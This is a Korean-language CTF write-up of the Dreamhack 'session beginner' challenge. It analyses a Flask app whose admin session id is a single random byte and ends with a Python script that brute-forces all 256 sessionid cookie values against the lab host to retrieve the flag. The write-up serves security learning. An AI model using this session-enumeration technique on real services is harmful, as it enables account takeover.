CTF & Wargame(WEB)

session beginner

KWAKBUMJUN 2025. 4. 14. 20:20

웹 서비스 분석

문제를 열업면 위와 같은 로그인 페이지가 뜬다. 그래서 만약 id : guest, pw : guest로 로그인 해보면

Hello guest, you are not admin

index page에 위와 같은 문구를 띄워준다.

 

따라서 admin 계정으로 로그인하여 flag를 찾는 문제인 것 같다.

 

엔드포인트 분석

/login

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
            # ex) user, users[user] = user1234
            # pw = user1234
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) ) # index 페이지로 이동
            session_id = os.urandom(4).hex() # 4바이트의 16진수 랜덤값 생성
            session_storage[session_id] = username
            # session_storage = {
                #      "session_id" : "user"
            # }

            resp.set_cookie('sessionid', session_id) # 새로운 session_id로 쿠키 설정
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

사용자가 username과 password를 입력하면 해당 값을 각각의 변수에 저장한다.

그리고 pw 변수에 users 딕셔너리에 있는 username과 매핑되어 있는 password를 저장한다.

만약 pw와 사용자가 입력한 password와 같다면 session_id를 4바이트의 랜덤한 16진수 값으로 새로 만든다. 그리고 session_storage 딕셔너리에 아까 만들어진 session_id와 username을 매핑 시킨다.

 

/(index)

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None) # 여기서 admin의 session_id를 가져와야함.
    # 그럼 가져온 session_id가 admin이 아니라 guest이지만, 가져온 session_id값의 username을 admin으로 변조하면 됨.
    
    try:
        username = session_storage[session_id]
        # user
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

아까 로그인 했을 때 생성되었던 session_id를 가져와서 session_id 변수에 저장

그리고 session_storage에 아까 생성됐던 session_id와 매핑되어 있는 username을 찾아서 변수에 저장한다.

그리고 hello {username}, flag is ~~라는 문구를 띄워주는데, 만약 username이 admin이라면 flag도 함께 출력해준다.

 

main 

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

session_storage에 랜덤한 1바이트의 16진수 값을 생성하고 'admin'과 매핑 시킨다.

취약점 분석

index page에서 session_id를 가져올때 admin의 session_id를 가져오면 서버에서 admin이라고 인식하여 flag를 표시해줄 것이다.

아까 main에서 session_storage에 1바이트의 16진수 session을 생성했기 때문에 해당 값을 brute-force 공격을 통해 구할 수 있을 것이다.

 

익스플로잇

import os
import requests

url = 'http://host3.dreamhack.games:11886'

for i in range(256):
    sid = format(i, '02x')
    cookies = {
        'sessionid' : sid
    }
    res = requests.get(url, cookies=cookies)

    if "flag is" in res.text:
        print(f"found sid : {sid}")
        print(res.text)
        break
    else:
        print(f"tried : {sid}")

cookies값을 sid로 설정해준 뒤에 url에 cookie값을 넣어준다. 그 뒤에 flag is라는 문자열이 나올때까지 반복하고, 만약 해당 문자열이 출력되었다면 해당 sid값 출력

이렇게 brute-force 공격을 통해 flag를 획득할 수 있다. 

'CTF & Wargame(WEB)' 카테고리의 다른 글

Command Injection Advanced level 1  (0) 2025.04.16
My Best Friend level 1  (0) 2025.04.16
web-misconf-1 beginner  (0) 2025.04.14
pathtraversal beginner  (0) 2025.04.14
blind-command level 2  (0) 2025.04.14